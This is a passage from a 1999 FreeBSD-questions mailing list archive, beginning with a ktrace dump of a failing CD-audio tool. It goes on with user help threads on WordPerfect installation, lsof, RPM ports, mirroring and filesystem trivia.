	\^^\^C\0\0\0\0\0\0\M-%\^D\0\0\^D\0\0\0$\^A\0\0p\0\0\0\M-B\^A\0\0g\^C\0\
	\0\M-k\^B\0\0\M-1\0\0\0\M-e\^C\0\0\M-?\^D\0\0\M^M\0\0\0l\0\0\0\0\0\0\0\
	s\^C\0\0\M-D\^A\0\0\0\0\0\0\0\0\0\0\0\0\0\0\M^_\0\0\0k\^A\0\0\0\0\0\0\
	\M-b\0\0\0\M^S\^A\0\0\^Z\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0;\^A\0\0\0\0\0\0\
	c\^B\0\0\M^?\0\0\0{\^B\0\0_\^B\0\0#\0\0\0?\^E\0\0\M-C\^C\0\0\^W\^A\0\0\
	\a\^E\0\0\M-o\0\0\0z\^E\0\0o\^D\0\0|\^D\0\0J\0\0\0x\0\0\0\0\0\0\0\^O\
	\^B\0\0Q\^D\0\0\0\0\0\0\M^V\^D\0\0\M-6\^B\0\0Q\^B\0\0\M-P\^B\0\0\M-d\
	\^A\0\0\^^\^D\0\0S\^B\0\0\M-"\^E\0\0-\^C\0\0\^X\^C\0\0\M-Q\^C\0\0T\^C\
	\0\0\^E\^B\0\0\0\0\0\0\^Q\^D\0\0{\^A\0\0\M-$\^E\0\0\v\^B\0\0\M-b\^D\0\
	\0\0\0\0\0\0\0\0\0\^V\0\0\0\0\0\0\0\0\0\0\09\^B\0\0\0\0\0\0\M-3\^D\0\0\
	\0\0\0\0	\^A\0\0\M-5\0\0\0@\^C\0\0%\^A\0\0\0\0\0\0\^]\^D\0\0\0\
	\0\0\0\0\0\0\0\r\^D\0\0'\^A\0\0s\^E\0\0\0\0\0\0\0\0\0\0\0\0\0\0~\^A\0\
	\0o\^C\0\0\0\0\0\0\M-<\^D\0\0S\^D\0\0\M^]\^D\0\0\^\\^D\0\0\^C\0\0\0\0\
	\0\0\0\M-M\^B\0\0\0\0\0\0f\^B\0\0\M-g\0\0\0\M-y\^B\0\0\M-q\^C\0\0\0\0\
	\0\0\M^?\^C\0\0\0\0\0\0r\^B\0\0\\\^E\0\0\0\0\0\0b\^B\0\0\0\0\0\0\0\0\0\
	\0\M-L\^A\0\0\M-J\^B\0\0\0\0\0\0\240\^A\0\0_\^E\0\0\M-7\^B\0\0\0\0\0\0\
	V\^C\0\0\M-u\^B\0\0\M-*\^A\0\0\M-I\^C\0\0\M-:\^A\0\0\0\0\0\08\^E\0\0<\
	\^C\0\0\0\0\0\0"
 30314 cdd      RET   read 4096/0x1000
 30314 cdd      CALL  mmap(0,0x80000,0x5,0x2,0x3,0,0,0)
 30314 cdd      RET   mmap 671514624/0x28068000
 30314 cdd      CALL  mmap(0x280d4000,0x5000,0x3,0x12,0x3,0,0x6b000,0)
 30314 cdd      RET   mmap 671956992/0x280d4000
 30314 cdd      CALL  mmap(0x280d9000,0xf000,0x3,0x1012,0xffffffff,0,0,0)
 30314 cdd      RET   mmap 671977472/0x280d9000
 30314 cdd      CALL  close(0x3)
 30314 cdd      RET   close 0
 30314 cdd      CALL  sigaction(0x2,0xefbe339c,0xefbe3390)
 30314 cdd      RET   sigaction 0
 30314 cdd      CALL  sigaction(0xa,0xefbe3394,0xefbe3388)
 30314 cdd      RET   sigaction 0
 30314 cdd      CALL  sigaction(0xb,0xefbe338c,0xefbe3380)
 30314 cdd      RET   sigaction 0
 30314 cdd      CALL  open(0xefbfd2c8,0,0xefbfd2c8)
 30314 cdd      NAMI  "/dev/rcd0c"
 30314 cdd      RET   open 3
 30314 cdd      CALL  write(0x2,0xefbe2c70,0x2c)
 30314 cdd      GIO   fd 2 wrote 44 bytes
       "Unable to open /dev/rcd0.ctl [0], try atapi
       "
 30314 cdd      RET   write 44/0x2c
 30314 cdd      CALL  ioctl(0x3,CHIOGPICKER,0xefbe3394)
 30314 cdd      RET   ioctl 0
 30314 cdd      CALL  readlink(0x280d3e10,0xefbe3304,0x3f)
 30314 cdd      NAMI  "/etc/malloc.conf"
 30314 cdd      RET   readlink -1 errno 2 No such file or directory
 30314 cdd      CALL  mmap(0,0x1000,0x3,0x1002,0xffffffff,0,0,0)
 30314 cdd      RET   mmap 672038912/0x280e8000
 30314 cdd      CALL  break(0x8055000)
 30314 cdd      RET   break 0
 30314 cdd      CALL  break(0x8056000)
 30314 cdd      RET   break 0
 30314 cdd      CALL  ioctl(0x3,CDIOREADTOCENTRYS,0xefbe338c)
 30314 cdd      RET   ioctl 0
 30314 cdd      CALL  write(0x2,0xefbe2c2c,0x9)
 30314 cdd      GIO   fd 2 wrote 9 bytes
       "toclen 0
       "
 30314 cdd      RET   write 9
 30314 cdd      CALL  write(0x2,0xefbe2c18,0x38)
 30314 cdd      GIO   fd 2 wrote 56 bytes
       "track 0 0 start        0 ctrl 0x0 type 0x0 l -272748548
       "
 30314 cdd      RET   write 56/0x38
 30314 cdd      CALL  write(0x2,0xefbe2c18,0x2f)
 30314 cdd      GIO   fd 2 wrote 47 bytes
       "track 1 1 start        0 ctrl 0x0 type 0x1 l 0
       "
 30314 cdd      RET   write 47/0x2f
 30314 cdd      CALL  write(0x2,0xefbe2c18,0x33)
 30314 cdd      GIO   fd 2 wrote 51 bytes
       "track 2 2 start    16250 ctrl 0x0 type 0x1 l 16250
       "
 30314 cdd      RET   write 51/0x33
 30314 cdd      CALL  write(0x2,0xefbe2c18,0x33)
 30314 cdd      GIO   fd 2 wrote 51 bytes
       "track 3 3 start    47310 ctrl 0x0 type 0x1 l 47310
       "
 30314 cdd      RET   write 51/0x33
 30314 cdd      CALL  write(0x2,0xefbe2c18,0x33)
 30314 cdd      GIO   fd 2 wrote 51 bytes
       "track 4 4 start    70597 ctrl 0x0 type 0x1 l 70597
       "
 30314 cdd      RET   write 51/0x33
 30314 cdd      CALL  write(0x2,0xefbe2c18,0x35)
 30314 cdd      GIO   fd 2 wrote 53 bytes
       "track 5 170 start    90627 ctrl 0x0 type 0x1 l 90627
       "
 30314 cdd      RET   write 53/0x35
 30314 cdd      CALL  mkdir(0x805218c,0x1c0)
 30314 cdd      NAMI  "/cdrom_burn/cdrom/"
 30314 cdd      RET   mkdir -1 errno 17 File exists
 30314 cdd      CALL  open(0xefbe2fa8,0x601,0x180)
 30314 cdd      NAMI  "/cdrom_burn/cdrom//track-01.cda"
 30314 cdd      RET   open 4
 30314 cdd      CALL  gettimeofday(0xefbc7610,0)
 30314 cdd      RET   gettimeofday 0
 30314 cdd      CALL  ioctl(0x3,CDIOCREADAUDIO,0xefbc75dc)
 30314 cdd      RET   ioctl -1 errno 25 Inappropriate ioctl for device
 30314 cdd      CALL  writev(0x2,0xefbc75a4,0x4)
 30314 cdd      GIO   fd 2 wrote 46 bytes
       "CDIOREADAUDIO: Inappropriate ioctl for device
       "
 30314 cdd      RET   writev 46/0x2e
 30314 cdd      CALL  exit(0xffffffff)


---
Khetan Gajjar       (!kg1779) * khetan@os.org.za
http://www.os.org.za/~khetan  * Talk/Finger khetan@chain.freebsd.os.org.za
FreeBSD enthusiast            * http://www2.za.freebsd.org/
Security-wise, NT is a OS with a "kick me" sign taped to it



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From owner-freebsd-questions  Mon Mar 22 16: 9:23 1999
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Date: Mon, 22 Mar 1999 19:08:47 -0500 (EST)
From: Thomas David Rivers <rivers@dignus.com>
Message-Id: <199903230008.TAA29541@lakes.dignus.com>
To: freebsd-questions@FreeBSD.ORG, patseal@hyperhost.net
Subject: Re: Wordperfect8 CD-install
In-Reply-To: <Pine.BSF.4.10.9903221628350.30990-100000@foobar.hyperhost.net>
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> 
> I used the port patch 'patch-ab' on a copy of the CD on my harddrive and
> tried to install.  It keep giving me a bunch of errors.
> 
> Does anyone know the correct procedure for installing it?
> 
> Thanks,

 I just ran the install script on the CDROM - un-changed, directly
from the CD-ROM.   Seemed to install just fine.

	- Dave Rivers -




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From owner-freebsd-questions  Mon Mar 22 16:20:57 1999
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Date: Mon, 22 Mar 1999 16:20:35 -0800 (PST)
From: "Sean T. Lamont   .lost." <zeno@serv.net>
Message-Id: <199903230020.QAA14765@itchy.serv.net>
To: questions@freebsd.org
Subject: Sound card recommendations
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Does anyone have a recommendation on a decent audio card that will work without
much hassle on FreeBSD *and* can operate in full-duplex mode?

Thanks.

Sean T. Lamont, CTO / Chief NetNerd, Abstract Software, Inc. (ServNet)  
Seattle - Bellingham - Vancouver - Portland - Everett - Tacoma - Bremerton
email: lamont@abstractsoft.com              WWW:  http://www.serv.net
"...There's no moral, it's just a lot of stuff that happens". - H. Simpson


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From owner-freebsd-questions  Mon Mar 22 16:29:23 1999
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Date: Tue, 23 Mar 1999 00:27:22 +0000
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Organization: TDX - The Digital eXchange
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To: Greg Black <gjb@comkey.com.au>
Cc: Masahiro Ariga <mariga@cd.mbn.or.jp>,
	freebsd-questions@FreeBSD.ORG
Subject: Re: how to die gracefully
References: <000501be7472$3bbeb400$064ca8c0@gateway> <36F65B11.610DAE9D@tdx.co.uk> <19990322213250.9969.qmail@alpha.comkey.com.au>
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Greg Black wrote:

> > AFAIK - when your program quit's, the O/S should free up it's memory and close
> > it's files etc. (as a kind of last-resort) - it's probably not good practice
> > to rely on this though, especially if your program is designed to run for long
> > periods of time...
> 
> This is wrong.  The OS reclaims everything when the program exits.

Yes, _but_ it's still good practice to do your own housekeeping - especially
if your program is going to be running hours on end - rather than have it eat
file descriptors/memory etc. :-) (Which is the point I was making).

> > SIGQUIT I think - check the man pages out (man signal)...
> 
> Wrong.  It's SIGINT.  The QUIT signal is usually attached to
> Ctl-\ and generates a core dump as well as interrupting the
> process.

Yeah, a 'redo' (like typo) at my end :-)

-Kp


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From owner-freebsd-questions  Mon Mar 22 16:35: 0 1999
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Subject: BSD equivalent of Linux 'fuser' command
From: Eric Jacoboni <jaco@titine.fr.eu.org>
Date: 23 Mar 1999 01:33:42 +0100
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Hi,

Is there a BSD equivalent of the Linux 'fuser' command ?

=-=-=-=-=-=
FUSER(1)

NAME
      fuser - identify processes using files or sockets

=-=-=-=-=-=

For example, to know who is using the CD :

$ fuser -av /mnt/cdrom

I've read some lines about lsof and try it under Linux (i've not yet
installed it from the FBSD ports) but nothing happens with this command
under my linux box, so i can't compare :(

Thanks in advance,
-- 
---------------------------------------------------
Éric Jacoboni       « No sport! »  (W. Churchill)
---------------------------------------------------


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From owner-freebsd-questions  Mon Mar 22 16:48:50 1999
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Cc: questions@FreeBSD.ORG
Subject: Re: SCSI CDROM & EIDE/ATA CDROM concurrently? 
In-reply-to: Your message of "Mon, 22 Mar 1999 11:04:09 EST."
             <75ADD7496F0BD211ADC000104B8846CF562F70@rerun.lucentctc.com> 
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In message <75ADD7496F0BD211ADC000104B8846CF562F70@rerun.lucentctc.com>, "Cambr
ia, Mike" wrote:
} 
} Hi,
} 
} I'm considering a new system which has no SCSI support.  If I decide to go
} this route, l will add my current SCSI controller and its peripherals (CD,
} Tape, disks etc.) to this system when it arrives.  I've been running
} concurrent EIDE and SCSI disks for years, but I've never owned an IDE based
} CDROM.  This new system will come with one.
} 
} Rather than removing this CD (possibly DVD), will it co-exist with the SCSI
} CDROM?  With 2 (or more) SCSI CDROM's?  Is there anything I should worry
} about?

That should all coexist just fine.  No cause for worry.

-- 
   Jon Hamilton  
   hamilton@pobox.com



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From owner-freebsd-questions  Mon Mar 22 16:51:27 1999
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Date: Mon, 22 Mar 1999 17:03:13 -0800 (PST)
From: Neil Bradley <neil@synthcom.com>
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I have PPP working great in my dialin line on FreeBSD 2.2.8. However, when
users of Windows 98 connect, it takes 1-3 minutes for their "Connected"
dialog box to go away. If they call in using Windows 95, it's within a few
seconds. Any ideas as to what I can do on my end to assist my dialin
users? Thanks!

-->Neil

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From owner-freebsd-questions  Mon Mar 22 16:57:36 1999
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Date: Mon, 22 Mar 1999 19:39:19 -0500 (EST)
From: "Joe \"Marcus\" Clarke" <marcus@miami.edu>
Subject: Re: BSD equivalent of Linux 'fuser' command
In-reply-to: <87ogllhwnt.fsf@titine.fr.eu.org>
To: Eric Jacoboni <jaco@titine.fr.eu.org>
Cc: freebsd-questions@FreeBSD.ORG
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I like lsof.  It's in the ports/packages collection.  It's
platform-independent, and a must for a good system administrator.  fstat
is installed by default, and can be used for this, though.

Joe Clarke

On Tue, 23 Mar 1999, Eric Jacoboni wrote:

> Hi,
>=20
> Is there a BSD equivalent of the Linux 'fuser' command ?
>=20
> =3D-=3D-=3D-=3D-=3D-=3D
> FUSER(1)
>=20
> NAME
>       fuser - identify processes using files or sockets
>=20
> =3D-=3D-=3D-=3D-=3D-=3D
>=20
> For example, to know who is using the CD :
>=20
> $ fuser -av /mnt/cdrom
>=20
> I've read some lines about lsof and try it under Linux (i've not yet
> installed it from the FBSD ports) but nothing happens with this command
> under my linux box, so i can't compare :(
>=20
> Thanks in advance,
> --=20
> ---------------------------------------------------
> =C9ric Jacoboni       =AB No sport! =BB  (W. Churchill)
> ---------------------------------------------------
>=20
>=20
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
>=20
>=20
>=20



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From owner-freebsd-questions  Mon Mar 22 17: 7:18 1999
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Date: Mon, 22 Mar 1999 20:05:13 -0500
From: Randall Hopper <aa8vb@ipass.net>
To: questions@freebsd.org
Subject: /..  ??? -- A file system question
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/..

Why does the root directory of a UNIX file system have a ".." entry?  Where
does it go?

The bottom of the deepest branch of the tree?  "Kernel space"?
The twilight zone?

Inquiring minds want to know.  :-)

I'm also waiting on how many licks it takes to get to the middle of a
tootsie roll tootsie pop.

Randy


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From owner-freebsd-questions  Mon Mar 22 17: 8:21 1999
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Subject: Re: Have crashed, won't travel
References: <19990316174710.H429@lemis.com> <36EE54A4.8DC53017@eboa.com> <19990317093436.G429@lemis.com> <36EFC56A.ACBFB0A7@eboa.com> <19990318100818.L429@lemis.com> <36F1BDBB.E9E4F323@eboa.com> <19990319150941.U429@lemis.com> <36F2ABBF.9B789EDB@eboa.com> <19990320100004.J429@lemis.com> <36F6A64E.3DED5FB6@eboa.com> <19990323102735.N442@lemis.com>
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Greg Lehey wrote:
> 
> To cache or not to cache is the real question.  Raw devices write
> straight to the device; block devices go through the buffer cache.
> Sometimes it makes a difference.

To r is human.

Roelof

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From owner-freebsd-questions  Mon Mar 22 17:12:38 1999
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Date: Tue, 23 Mar 1999 11:42:08 +1030
From: Greg Lehey <grog@lemis.com>
To: Randall Hopper <aa8vb@ipass.net>, questions@FreeBSD.ORG
Subject: Re: /..  ??? -- A file system question
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On Monday, 22 March 1999 at 20:05:13 -0500, Randall Hopper wrote:
> /..
>
> Why does the root directory of a UNIX file system have a ".." entry?  

For compatibility reasons.  It costs almost nothing, and it may save
certain programs problems.

> Where does it go?

It points to itself:

$ ls -ali /
total 4
   2 drwxr-xr-x  42 root  wheel     1024 Mar 12 17:12 .
   2 drwxr-xr-x  42 root  wheel     1024 Mar 12 17:12 ..

BTW, it's also always inode 2.

> I'm also waiting on how many licks it takes to get to the middle of
> a tootsie roll tootsie pop.

Which version of FreeBSD?

Greg
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From owner-freebsd-questions  Mon Mar 22 17:28:39 1999
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Date: Mon, 22 Mar 1999 20:28:33 -0500
From: Randall Hopper <aa8vb@ipass.net>
To: questions@FreeBSD.ORG
Subject: Re: /..  ??? -- A file system question
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Greg Lehey:
 |> Why does the root directory of a UNIX file system have a ".." entry?  
 |
 |For compatibility reasons.  It costs almost nothing, and it may save
 |certain programs problems.

Interesting.  Thanks.  I did check the UNIX FAQ first, but I guess this
question doesn't come up much.

 |> I'm also waiting on how many licks it takes to get to the middle of
 |> a tootsie roll tootsie pop.
 |
 |Which version of FreeBSD?

Ouch!  Of course it would depend on the version wouldn't it.  Any budy got
a version-to-num-licks mapping?

Randall


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From owner-freebsd-questions  Mon Mar 22 17:37: 1 1999
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Christopher Palmer wrote:
> 
> On Sun, 21 Mar 1999, Jack James wrote:
> 
> > 1.  Will Freebsd run RPM format files?
> 
> RPM files are not executables; they are software packages (which contain
> the excutables, among other things). I bet the RPM software would compile
> under FreeBSD, but if not, you can always convert RPMs to tarballs or cpio
> files as well.

Have managed to steer clear from RPM files. But what I've gathered
is that they were invented to increase user-friendliness. We slackware
(and its predecessor whose name I can't recall SLR or something) use
tarballed source files, RPMs are packed executables. IOW they can't
compile under FreeBSD.

OTOH, most RPMs started live as tarball, so ...

Roelof

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From owner-freebsd-questions  Mon Mar 22 17:44:38 1999
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From: mike@sentex.net (Mike Tancsa)
To: jaco@titine.fr.eu.org (Eric Jacoboni)
Cc: questions@freebsd.org
Subject: Re: BSD equivalent of Linux 'fuser' command
Date: Tue, 23 Mar 1999 01:53:24 GMT
Message-ID: <36f6f32f.3359911266@mail.sentex.net>
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On 22 Mar 1999 19:35:49 -0500, in sentex.lists.freebsd.questions you wrote:

>Hi,
>
>Is there a BSD equivalent of the Linux 'fuser' command ?

>
>I've read some lines about lsof and try it under Linux (i've not yet
>installed it from the FBSD ports) but nothing happens with this command
>under my linux box, so i can't compare :(

lsof is the one you should try... It will should you what files a
user/process has open
e.g.

blackhole# lsof -i | head
COMMAND   PID USER   FD   TYPE     DEVICE SIZE/OFF NODE NAME
syslogd   122 root    4u  inet 0xf88e3f60      0t0  UDP *:syslog 
inetd     162 root    4u  inet 0xf89a3f00      0t0  TCP *:ftp (LISTEN)
inetd     162 root    5u  inet 0xf89a4f00      0t0  TCP *:telnet (LISTEN)
inetd     162 root    6u  inet 0xf89a4de0      0t0  TCP *:login (LISTEN)
sendmail  169 root    3u  inet 0xf89a4cc0      0t0  TCP *:smtp (LISTEN)
sshd2     237 root    3u  inet 0xf89a4a80      0t0  TCP *:ssh (LISTEN)
gated    4519 root    8u  inet 0xf88e3f00      0t0  UDP *:* 
gated    4519 root   10u  inet 0xf8ca8f60      0t0 ICMP *:* 

Mike Tancsa  (mdtancsa@sentex.net)		
Sentex Communications Corp,   		
Waterloo, Ontario, Canada


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/usr/ports/misc/rpm

Cheers,

Jerry Hicks
wghicks@bellsouth.net

From: Roelof Osinga <roelof@eboa.com>
Subject: Re: files
Date: Tue, 23 Mar 1999 02:38:36 +0100

> Christopher Palmer wrote:
> > 
> > On Sun, 21 Mar 1999, Jack James wrote:
> > 
> > > 1.  Will Freebsd run RPM format files?
> > 
> > RPM files are not executables; they are software packages (which contain
> > the excutables, among other things). I bet the RPM software would compile
> > under FreeBSD, but if not, you can always convert RPMs to tarballs or cpio
> > files as well.
> 
> Have managed to steer clear from RPM files. But what I've gathered
> is that they were invented to increase user-friendliness. We slackware
> (and its predecessor whose name I can't recall SLR or something) use
> tarballed source files, RPMs are packed executables. IOW they can't
> compile under FreeBSD.
> 
> OTOH, most RPMs started live as tarball, so ...
> 
> Roelof
> 
> -- 
> Home is where the (@) http://eboa.com/ is.
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 


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From owner-freebsd-questions  Mon Mar 22 17:47:45 1999
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Date: Mon, 22 Mar 1999 19:51:03 -0600
From: Victor Carranza <victor@concyt.gob.gt>
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Hi!
I have been searching the mailing list and found many questions about
how to become a FreeBSD distribution mirror (mirroring not only web
pages but the whole thing), but I found no answers, so... could someone
please tell me the disk space and other requisites to become a full
FreeBSD mirror? (if space needed is too big, is it possible to partially
mirror?)

Thanks in advance!

Cheers,

Victor Carranza


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From owner-freebsd-questions  Mon Mar 22 17:53:42 1999
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Date: Mon, 22 Mar 1999 20:49:49 -0500 (EST)
From: Eric Wayte <ewayte@pegasus.cc.ucf.edu>
To: "Thomas W. Lovell" <tlovell@fostermiller.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Forths for freeBSD?  Adv/disadv of NetBSD and OpenBSD?
In-Reply-To: <36F6C001.97DB542A@fostermiller.com>
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Two answers!

1)  There is a Forth in the ports collection
(http://www.freebsd.org/ports/) - pfe-0.9.9 "Implementation of ANSI
Forth."  I can't vouch for it, I just know it's there.

2)  FreeBSD has better merchandise (http://www.freebsdmall.com)!


Eric Wayte
Database Administrator
University of Central Florida
ewayte@pegasus.cc.ucf.edu


On Mon, 22 Mar 1999, Thomas W. Lovell wrote:

> Date: Mon, 22 Mar 1999 17:11:13 -0500
> From: "Thomas W. Lovell" <tlovell@fostermiller.com>
> To: freebsd-questions@FreeBSD.ORG
> Subject: Forths for freeBSD?  Adv/disadv of NetBSD and OpenBSD?
> 
> Hi,
> 
> Two questions about FreeBSD:
> 
>     1) Any good 32-bit Forth implementations available (commercial is
> ok) with a rich wordset and good links to the operating system?
>         (e.g., analogous to 16-bit HS/Forth, which was custom-written
> for MS-DOS on the IBM PC, fast, with good links to the
>         operating system and with a rich wordset for strings, graphics
> and memory management on the Intel processors.)
> 
>     2) Any opinion about using NetBSD or OpenBSD on an IBM compatible?
> Would I lose performance from these (I assume) more generic
>         systems?  Do either of these other OS's offer advantages (aside
> from cross-platform compatibility) that FreeBSD does not?
> 
> Thanks for any help.
> 
> Tom Lovell
> tlovell@foster-miller.com
> 
> 
> 
> 
> To Unsubscribe: send mail to majordomo@FreeBSD.org
> with "unsubscribe freebsd-questions" in the body of the message
> 



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From owner-freebsd-questions  Mon Mar 22 17:55:20 1999
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From: Greg Lehey <grog@lemis.com>
To: Patrick Seal <patseal@hyperhost.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Wordperfect8 CD-install
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On Monday, 22 March 1999 at 19:32:23 -0500, Patrick Seal wrote:
> On Tue, 23 Mar 1999, Greg Lehey wrote:
>> On Monday, 22 March 1999 at 16:30:11 -0500, Patrick Seal wrote:
>>> I used the port patch 'patch-ab' on a copy of the CD on my harddrive and
>>> tried to install.  It keep giving me a bunch of errors.
>>>
>>> Does anyone know the correct procedure for installing it?
>>
>> Start by reporting some of your bunch.
>
> You asked for it!!
>
> root@foobar{54}# ./install.wp
>
>   Please Wait .[: 1-STABLE: trailing non-numeric characters
> ./install.wp: /tmp/WpTmP1/LinkFile: permission denied
> ./install.wp: /tmp/WpTmP1/LinkFile: permission denied
> mv: rename shared/wpdata to shared/wpdata.bk: No such file or directory
> ...
> egrep: shared/l_last: No such file or directory
> egrep: shared/l_last: No such file or directory

Do you have Linux emulation installed?  What kind of file is
./install.wp?

Greg
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From owner-freebsd-questions  Mon Mar 22 17:58:42 1999
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From: Jim Mock <jim@corp.au.triax.com>
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On Mon, 22 Mar 1999 at 19:51:03 -0600, Victor Carranza wrote:
> Hi!
> I have been searching the mailing list and found many questions
> about how to become a FreeBSD distribution mirror (mirroring not
> only web pages but the whole thing), but I found no answers, so...
> could someone please tell me the disk space and other requisites to
> become a full FreeBSD mirror? (if space needed is too big, is it
> possible to partially mirror?)
>

Take a look at Dan Langille's FreeBSD Diary..
http://www.freebsddiary.com/freebsd/ .  He's got some info there on
setting up a mirror site.

-- 
Jim Mock  System Administrator  jim@corp.au.triax.com  ,-._|\  FreeBSD
work:  Triax Internet Services  http://www.triax.com/ /      \ The
personal:  http://www.triax.com/~jim/                 \_,--._/ Power To
The FreeBSD 'zine  http://www.freebsdzine.org/              v  Serve!


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From owner-freebsd-questions  Mon Mar 22 18: 6:44 1999
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Date: Mon, 22 Mar 1999 19:05:36 -0700 (MST)
From: Brett Taylor <brett@peloton.physics.montana.edu>
To: Roelof Osinga <roelof@eboa.com>
Cc: Christopher Palmer <cpalmer@jig.ordway.org>,
	Jack James <indyjj@indy.net>, freebsd-questions@FreeBSD.ORG
Subject: Re: files
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Hi,

On Tue, 23 Mar 1999, Roelof Osinga wrote:

> Christopher Palmer wrote:
> > 
> > On Sun, 21 Mar 1999, Jack James wrote:
> > 
> > > 1.  Will Freebsd run RPM format files?

> Have managed to steer clear from RPM files. But what I've gathered
> is that they were invented to increase user-friendliness. We slackware
> (and its predecessor whose name I can't recall SLR or something) use
> tarballed source files, RPMs are packed executables. IOW they can't
> compile under FreeBSD.

There's an rpm port in /usr/ports/misc/rpm:

peloton: {16} more /usr/ports/misc/rpm/pkg/DESCR 
This is the Red Hat Package Manager.

There is also a rpm2cpio converter written in perl. You still need GNU
cpio and gzip, but at least you don't have to install the whole RPM
manager to get the files in an RPM. See
http://www.eleves.ens.fr:8080/home/espel/hacks.html

I find the ports/package system much easier to use than the one version of
rpm I tried awhile back.

Brett
***********************************************************
Brett Taylor            brett@peloton.physics.montana.edu *
                        brett@daemonnews.org              *
							  *
			http://www.daemonnews.org/        *
***********************************************************



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From owner-freebsd-questions  Mon Mar 22 18:24:22 1999
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Date: Mon, 22 Mar 1999 21:23:36 -0500 (EST)
From: Patrick Seal <patseal@hyperhost.net>
To: Greg Lehey <grog@lemis.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Wordperfect8 CD-install
In-Reply-To: <19990323122454.X442@lemis.com>
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shell script.  Yes I'm running Linux Emulation, I just uninstalled
WordPerfect (the port) before tring to install the CD, so I know it works.

patseal@foobar{54}% uname -rms
FreeBSD 3.1-STABLE i386

------------------------------------ _____________________________________
Patrick Seal                        |"Microsoft isn't evil, they just make
<patseal@hyperhost.net>             |   really crappy operating systems."
Hyperhost - http://www.hyperhost.net| -Linus Torvalds
hosting and Design

http://www.freebsd.org - http://www.linux.org




On Tue, 23 Mar 1999, Greg Lehey wrote:

> On Monday, 22 March 1999 at 19:32:23 -0500, Patrick Seal wrote:
> > On Tue, 23 Mar 1999, Greg Lehey wrote:
> >> On Monday, 22 March 1999 at 16:30:11 -0500, Patrick Seal wrote:
> >>> I used the port patch 'patch-ab' on a copy of the CD on my harddrive and
> >>> tried to install.  It keep giving me a bunch of errors.
> >>>
> >>> Does anyone know the correct procedure for installing it?
> >>
> >> Start by reporting some of your bunch.
> >
> > You asked for it!!
> >
> > root@foobar{54}# ./install.wp
> >
> >   Please Wait .[: 1-STABLE: trailing non-numeric characters
> > ./install.wp: /tmp/WpTmP1/LinkFile: permission denied
> > ./install.wp: /tmp/WpTmP1/LinkFile: permission denied
> > mv: rename shared/wpdata to shared/wpdata.bk: No such file or directory
> > ...
> > egrep: shared/l_last: No such file or directory
> > egrep: shared/l_last: No such file or directory
> 
> Do you have Linux emulation installed?  What kind of file is
> ./install.wp?
> 
> Greg
> --
> When replying to this message, please copy the original recipients.
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From owner-freebsd-questions  Mon Mar 22 18:29: 1 1999
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Date: Tue, 23 Mar 1999 12:58:35 +1030
From: Greg Lehey <grog@lemis.com>
To: Patrick Seal <patseal@hyperhost.net>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Wordperfect8 CD-install
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On Monday, 22 March 1999 at 21:23:36 -0500, Patrick Seal wrote:
> On Tue, 23 Mar 1999, Greg Lehey wrote:
>
>> On Monday, 22 March 1999 at 19:32:23 -0500, Patrick Seal wrote:
>>> On Tue, 23 Mar 1999, Greg Lehey wrote:
>>>> On Monday, 22 March 1999 at 16:30:11 -0500, Patrick Seal wrote:
>>>>> I used the port patch 'patch-ab' on a copy of the CD on my harddrive and
>>>>> tried to install.  It keep giving me a bunch of errors.
>>>>>
>>>>> Does anyone know the correct procedure for installing it?
>>>>
>>>> Start by reporting some of your bunch.
>>>
>>> You asked for it!!
>>>
>>> root@foobar{54}# ./install.wp
>>>
>>>   Please Wait .[: 1-STABLE: trailing non-numeric characters
>>> ./install.wp: /tmp/WpTmP1/LinkFile: permission denied
>>> ./install.wp: /tmp/WpTmP1/LinkFile: permission denied
>>> mv: rename shared/wpdata to shared/wpdata.bk: No such file or directory
>>> ...
>>> egrep: shared/l_last: No such file or directory
>>> egrep: shared/l_last: No such file or directory
>>
>> Do you have Linux emulation installed?  What kind of file is
>> ./install.wp?
>
> shell script.  Yes I'm running Linux Emulation, I just uninstalled
> WordPerfect (the port) before tring to install the CD, so I know it works.

Hmm.  Strange.  Maybe somebody else will know the answer.

Greg
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From owner-freebsd-questions  Mon Mar 22 18:30: 1 1999
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Date: Mon, 22 Mar 1999 19:32:23 -0500 (EST)
From: Patrick Seal <patseal@hyperhost.net>
To: Greg Lehey <grog@lemis.com>
Cc: freebsd-questions@FreeBSD.ORG
Subject: Re: Wordperfect8 CD-install
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You asked for it!!

root@foobar{54}# ./install.wp   

  Please Wait .[: 1-STABLE: trailing non-numeric characters
./install.wp: /tmp/WpTmP1/LinkFile: permission denied
./install.wp: /tmp/WpTmP1/LinkFile: permission denied
mv: rename shared/wpdata to shared/wpdata.bk: No such file or directory
cp: shared/wpdata.bk: No such file or directory
chmod: shared/wpdata: No such file or directory
.sed: shared/l_extr: No such file or directory
.
sed: /tmp/WpTmP1/shared/wpdata: No such file or directory
./install.wp: linux/ins/wpinstg: not found
  
Warning: The graphical install program has failed.  
Trying to run the character-based install program.  
cat: .wptemp: No such file or directory             
cat: .wplist: No such file or directory  
grep: shared/l_agre: No such file or directory  
grep: shared/l_agre: No such file or directory  
cat: shared/license.: No such file or directory  
sed: shared/l_idir: No such file or directory          
cat: .wptemp: No such file or directory          
cat: .wptemp: No such file or directory  
sed: shared/wplngs: No such file or directory  
sed: shared/wplngs: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wplist: No such file or directory  
sed: shared/l_size: No such file or directory  
sed: shared/l_size: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wplist: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wptemp: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wptemp: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wptemp: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wplist: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wptemp: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wplist: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wplist: No such file or directory  
cat: /tmp/WpTmP1/shared/wplngs: No such file or directory  
grep: shared/l_lngs: No such file or directory  
egrep: shared/l_lngs: No such file or directory  
cat: .wptemp: No such file or directory          
cat: .wplist: No such file or directory  
wc: .wplist: open: No such file or directory  
